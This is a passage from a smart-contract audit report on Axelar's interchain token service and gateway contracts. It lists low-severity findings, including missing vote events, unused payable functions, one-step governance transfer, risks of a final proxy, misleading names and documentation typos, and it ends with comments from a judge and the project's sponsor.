a signer submits the same data as the proposal. Then this data is hashed into a proposal id (topic
) which has its votes tracked, when enough votes are cast the proposal passes:
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/auth/MultisigBase.sol#L51-L63
File: cgp/auth/MultisigBase.sol 51: if (voting.hasVoted[msg.sender]) revert AlreadyVoted(); 52: 53: voting.hasVoted[msg.sender] = true; 54: 55: // Determine the new vote count. 56: uint256 voteCount = voting.voteCount + 1; 57: // @audit no event emitted to track votes 58: // Do not proceed with operation execution if insufficient votes. 59: if (voteCount < signers.threshold) { 60: // Save updated vote count. 61: voting.voteCount = voteCount; 62: return; 63: }
However there is no event emitted for when a vote is cast. This makes it difficult to track voting off chain. Which is important for transparency and for users and signers to know what topics
are going on. topics
can also only be tracked by their hashed value, hence emitting this will help users to query on-chain for specific votes.
Add an event for when a vote is cast, containing signer
, topic
and voteCount
.
InterchainTokenService
non-remote deploy calls accept eth
but are not using itIn InterchainTokenService
the calls to deploy on the local chain are payable
but do not use the eth
provided. deployCustomTokenManager
as an example:
File: its/interchain-token-service/InterchainTokenService.sol 343: function deployCustomTokenManager( 344: bytes32 salt, 345: TokenManagerType tokenManagerType, 346: bytes memory params 347: ) public payable notPaused returns (bytes32 tokenId) { // <-- payable 348: address deployer_ = msg.sender; 349: tokenId = getCustomTokenId(deployer_, salt); 350: _deployTokenManager(tokenId, tokenManagerType, params); 351: emit CustomTokenIdClaimed(tokenId, deployer_, salt); 352: }
However, none of the deploy functions use any eth
though. A user could accidentally send eth
here that would be stuck in the contract.
Consider removing payable
from registerCanonicalToken
deployCustomTokenManager
and deployAndRegisterStandardizedToken
. payable
could also be removed from TokenManagerDeployer::deployTokenManager
and StandardizedTokenDeployer::deployStandardizedToken
as they also do not consume any eth
.
deployAndRegisterStandardizedToken
can make it complicated for third party implementersWhen calling InterchainTokenService
to deploy a StandardizedToken
a user supplies some parameters for the setup.
For mintTo
for a possible initial mint when setting up the token and operator
for the TokenManager
however msg.sender
is used:
File: its/interchain-token-service/InterchainTokenService.sol 395: ) external payable notPaused { 396: bytes32 tokenId = getCustomTokenId(msg.sender, salt); // here msg.sender is used for mintTo ↓↓↓↓↓↓↓↓↓↓↓ 397: _deployStandardizedToken(tokenId, distributor, name, symbol, decimals, mintAmount, msg.sender); 398: address tokenManagerAddress = getTokenManagerAddress(tokenId); 399: TokenManagerType tokenManagerType = distributor == tokenManagerAddress ? TokenManagerType.MINT_BURN : TokenManagerType.LOCK_UNLOCK; 400: address tokenAddress = getStandardizedTokenAddress(tokenId); // here msg.sender is used for `operator` ↓↓↓↓↓↓↓↓↓↓ 401: _deployTokenManager(tokenId, tokenManagerType, abi.encode(msg.sender.toBytes(), tokenAddress)); 402: }
This can make it more complicated for third parties to develop on top of the InterchainTokenService
as they have to keep in mind that the contract calling will be operator
and possibly the receiver of any initial mint.
Consider adding mintTo
and operator
as parameters that can be passed to the call
InterchainTokenServiceProxy
is FinalProxy
InterchainTokenServiceProxy
inherits from FinalProxy
, this makes it possible for owner
to accidentally upgrade InterchainTokenService
to an un-upgradable version.
Test in tokenService.js
:
describe('Final Upgrade Interchain Token Serivce', () => { it('should upgrade to new token service', async () => { const factory = await ethers.getContractFactory("UpgradedITS", wallet); const bytecode = await factory.getDeployTransaction().data; const finalProxy = new Contract(await service.address, FinalProxy.abi, wallet); await finalProxy.finalUpgrade(bytecode,'0x'); expect(await finalProxy.isFinal()).to.equal(true); // contract is final const upgradedITS = new Contract(await service.address, UpgradedITS.abi, wallet); expect(await upgradedITS.foo()).to.equal(4); }); });
UpgradedITS.sol
:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { Upgradable } from '../../gmp-sdk/upgradable/Upgradable.sol'; contract UpgradedITS is Upgradable { bytes32 private constant CONTRACT_ID = keccak256('interchain-token-service'); function contractId() external pure returns (bytes32) { return CONTRACT_ID; } function _setup(bytes calldata ) internal override {} function foo() public pure returns(uint256) { return 4; } }
Consider inheriting from Proxy
instead of FinalProxy
.
call
will always succeed for non existent addressesThe low-level functions call, delegatecall and staticcall return true as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed.
Calls are done in these instances:
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/util/Caller.sol#L18
File: cgp/util/Caller.sol 18: (bool success, ) = target.call{ value: nativeValue }(callData);
File: interchain-governance-executor/InterchainProposalExecutor.sol 76: (bool success, bytes memory result) = call.target.call{ value: call.value }(call.callData);
This is mentioned in the Automated findings report but the instances identified are wrong: https://gist.github.com/thebrittfactor/c400e0012d0092316699c53843ecad41#low-23-contract-existence-is-not-checked-before-low-level-call
Where applicable, consider adding a check if there is code on the target.
InterchainTokenService::getImplementation
returns address(0)
for invalid typesFile: its/interchain-token-service/InterchainTokenService.sol 223: function getImplementation(uint256 tokenManagerType) external view returns (address tokenManagerAddress) { 224: // There could be a way to rewrite the following using assembly switch statements, which would be more gas efficient, 225: // but accessing immutable variables and/or enum values seems to be tricky, and would reduce code readability. 226: if (TokenManagerType(tokenManagerType) == TokenManagerType.LOCK_UNLOCK) { 227: return implementationLockUnlock; 228: } else if (TokenManagerType(tokenManagerType) == TokenManagerType.MINT_BURN) { 229: return implementationMintBurn; 230: } else if (TokenManagerType(tokenManagerType) == TokenManagerType.LIQUIDITY_POOL) { 231: return implementationLiquidityPool; 232: } 233: }
Other integrations can rely on this and returning address(0)
for the implementation contract can break their integrations.
Consider reverting with Invalid TokenManagerType
or similar.
governance
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/AxelarGateway.sol#L254-L258
File: cgp/AxelarGateway.sol 254: function transferGovernance(address newGovernance) external override onlyGovernance { 255: if (newGovernance == address(0)) revert InvalidGovernance(); 256: 257: _transferGovernance(newGovernance); 257: }
The governance
address has complete control over the AxelarGatway
since it can do upgrades.
Consider implementing a two way (propose/accept) change procedure for it to avoid accidentally handing it over to the wrong address.
operator
and distributor
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/utils/Distributable.sol#L51-L53
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/utils/Operatable.sol#L51-L53
File: its/utils/Operatable.sol 51: function setOperator(address operator_) external onlyOperator { 52: _setOperator(operator_); 53: }
(the exact same code is in Distributable
as well)
As these are powerful roles in for tokens/token managers.
Consider implementing a two way (propose/accept) change procedure for it to avoid accidentally handing it over to the wrong address.
That way a user can query a contract and see if it is upgraded or not.
sourceAddress
means two different things in InterchainTokenService
In the function _execute
which is the entrypoint from AxelarExecutor
, sourceAddress
means the source for the cross chain call, i.e the sourceChain
address of that InterchainTokenSerivce
contract:
File: its/interchain-token-service/InterchainTokenService.sol 575: function _execute( 576: string calldata sourceChain, 577: string calldata sourceAddress, // <-- `sourceAddress` is which contract initiated the cross chain instruction 578: bytes calldata payload 579: ) internal override onlyRemoteService(sourceChain, sourceAddress) notPaused {
Elsewhere in the code, in _processSendTokenWithDataPayload
, transmitSendToken
, expressReceiveTokenWithData
the meaning of sourceAddress
has changed to which address the transferred tokens originate from:
File: its/interchain-token-service/InterchainTokenService.sol 622: function _processSendTokenWithDataPayload(string calldata sourceChain, bytes calldata payload) internal { 623: bytes32 tokenId; 624: uint256 amount; 625: bytes memory sourceAddress; // <-- `sourceAddress` is from which address the tokens originate ... 633: { 634: bytes memory destinationAddressBytes; 635: (, tokenId, destinationAddressBytes, amount, sourceAddress, data) = abi.decode( 636: payload, 637: (uint256, bytes32, bytes, uint256, bytes, bytes) 638: ); 639: destinationAddress = destinationAddressBytes.toAddress(); 640: }
This can cause confusion and as sourceAddress
in the context of _execute
is a critical for security checks to trust the call it could be risky if these are confused for eachother.
Consider changing the token transfer source to tokenSenderAddress
for it to be clear what it means.
InterchainTokenService::_validateToken
could have a more descriptive nameFile: its/interchain-token-service/InterchainTokenService.sol 726: function _validateToken(address tokenAddress) 727: internal 728: returns ( ... 732: ) 733: { 734: IERC20Named token = IERC20Named(tokenAddress); 735: name = token.name(); 736: symbol = token.symbol(); 737: decimals = token.decimals(); 738: }
_validateToken
doesn't do any actual validation. Could be renamed to _getTokenData
or similar.
AxelarGateway::onlyMintLimiter
could have a more descriptive namehttps://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/AxelarGateway.sol#L87-L88
File: cgp/AxelarGateway.sol 87: modifier onlyMintLimiter() { 88: if (msg.sender != getAddress(KEY_MINT_LIMITER) && msg.sender != getAddress(KEY_GOVERNANCE)) revert NotMintLimiter();
onlyMintLimiter
could be named onlyMintLimiterOrGov
since this is what it verifies.
RemoteAddressValidator::_lowerCase
will not work for Solana addressesFile: its/remote-address-validator/RemoteAddressValidator.sol 54: function _lowerCase(string memory s) internal pure returns (string memory) { 55: uint256 length = bytes(s).length; 56: for (uint256 i; i < length; i++) { 57: uint8 b = uint8(bytes(s)[i]); 58: if ((b >= 65) && (b <= 70)) bytes(s)[i] = bytes1(b + uint8(32)); 59: } 60: return s; 61: }
This converts an address to lowercase (65-70 -> A-F). Solana addresses however are base58 encoded versions of a 32 byte array. Thus they first have more letters and converting it to lowercase will make it another address.
Consider changing this before adding solana as a supported chain
InterchainGovernance
can be abstract
As the contract is not complete on its own I recommend making it abstract
to convey that it is supposed to be extended.
eta
in ProposalCancelled
event can be misleadingFile: cgp/governance/AxelarServiceGovernance.sol 94: emit ProposalCancelled(proposalHash, target, callData, nativeValue, eta);
The eta
here can be misleading as it might not be the eta
of the event. The user can send what they want here. And if it is the correct eta that the user used to schedule it can still have been changed when scheduling the Timelock.
Consider either reading the eta
before clearing it in _cancelTimeLock
or don't include the eta
in the event at all.
File: its/interchain-token-service/InterchainTokenService.sol 411: * @param distributor the address that will be able to mint and burn the deployed token. 412: * @param destinationChain the name of the destination chain to deploy to. 413: * @param gasValue the amount of native tokens to be used to pay for gas for the remote deployment. At least the amount 414: * specified needs to be passed to the call 415: * @dev `gasValue` exists because this function can be part of a multicall involving multiple functions that could make remote contract calls. 416: */ 417: function deployAndRegisterRemoteStandardizedToken( 418: bytes32 salt, 419: string calldata name, 420: string calldata symbol, 421: uint8 decimals, 422: bytes memory distributor, 423: bytes memory operator, // <-- operator missing from NatSpec 424: string calldata destinationChain,
@param operator
is missing from NatSpec
TokenManagerProxy.sol
File: its/proxies/TokenManagerProxy.sol 8:/** 9: * @title TokenManagerProxy 10: * @dev This contract is a proxy for token manager contracts. It implements ITokenManagerProxy and 11: * inherits from FixedProxy from the gmp sdk repo 12: */ 13:contract TokenManagerProxy is ITokenManagerProxy {
It does not inherit from FixedProxy
.
InterchainProposalExecutor.sol
File: interchain-governance-executor/InterchainProposalExecutor.sol 19: * 20: * This contract is abstract and some of its functions need to be implemented in a derived contract. 21: */ 22:contract InterchainProposalExecutor is IInterchainProposalExecutor, AxelarExecutable, Ownable {
The contract is not abstract at all.
AxelarGateway.sol
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/AxelarGateway.sol#L40-L41
File: cgp/AxelarGateway.sol 40: /// @dev Storage slot with the address of the current governance. `keccak256('mint-limiter') - 1`. 41: bytes32 internal constant KEY_MINT_LIMITER = bytes32(0x627f0c11732837b3240a2de89c0b6343512886dd50978b99c76a68c6416a4d92);
Should say address of the current mint limiter
not governance
RemoteAddressValidator.sol
File: its/remote-address-validator/RemoteAddressValidator.sol 24: * @dev Constructs the RemoteAddressValidator contract, both array parameters must be equal in length ... 27: constructor(address _interchainTokenServiceAddress) { ... 40: function _setup(bytes calldata params) internal override { 41: (string[] memory trustedChainNames, string[] memory trustedAddresses) = abi.decode(params, (string[], string[]));
both array parameters must be equal in length
should be for the _setup
call not the constructor
InterchainTokenService.sol
File: its/interchain-token-service/InterchainTokenService.sol 380: * can be calculated ahead of time) then a mint/burn TokenManager is used. Otherwise a lock/unlcok TokenManager is used. -> unlock
Also apprears at:
InterchainToken.sol
File: its/interchain-token/InterchainToken.sol 28: * TokenManager specifically to do it permissionlesly. -> permissionlessly 40: * @param amount The amount of token to be transfered. -> transferred 76: * @param amount The amount of token to be transfered. -> transferred
InterchainTokenService.sol
File: its/interchain-token-service/InterchainTokenService.sol 159: * @return tokenManagerAddress deployement address of the TokenManager. -> deployment 496: * @param sourceAddress the address where the token is coming from, which will also be used for reimburment of gas. -> reimbursement 500: * @param metadata the data to be passed to the destiantion. -> destination 559: function _sanitizeTokenManagerImplementation(address[] memory implementaions, TokenManagerType tokenManagerType) -> implementations
TokenManager.sol
File: its/token-manager/TokenManager.sol 78: * @notice Calls the service to initiate the a cross-chain transfer after taking the appropriate amount of tokens from the user. -> a cross-chain ... 103: * @notice Calls the service to initiate the a cross-chain transfer with data after taking the appropriate amount of tokens from the user. -> a cross-chain ... 159: * @return the amount of token actually given, which will onle be differen than `amount` in cases where the token takes some on-transfer fee. -> only -> different
TokenManagerProxy.sol
File: its/proxies/TokenManagerProxy.sol 73: address implementaion_ = implementation(); -> implementation
IInterchainTokenExecutable.sol
, IInterchainTokenExpressExecutable.sol
File: its/interfaces/IInterchainTokenExecutable.sol 16: * @param tokenId the tokenId of the token manager managing the token. You can access it's address by querrying the service -> querying
#0 - c4-pre-sort
2023-07-29T01:04:52Z
0xSorryNotSorry marked the issue as high quality report
#1 - deanamiel
2023-08-31T00:14:33Z
InterchainProposalExecutor is not abstract. We updated the NatSpec documentation. See PR here
#2 - c4-judge
2023-09-08T11:45:46Z
berndartmueller marked the issue as grade-a
#3 - c4-judge
2023-09-08T12:18:26Z
berndartmueller marked the issue as selected for report
#4 - berndartmueller
2023-09-08T12:25:41Z
Excellent and thorough QA report submitted by the warden!
I agree with the outlined findings and their chosen severity.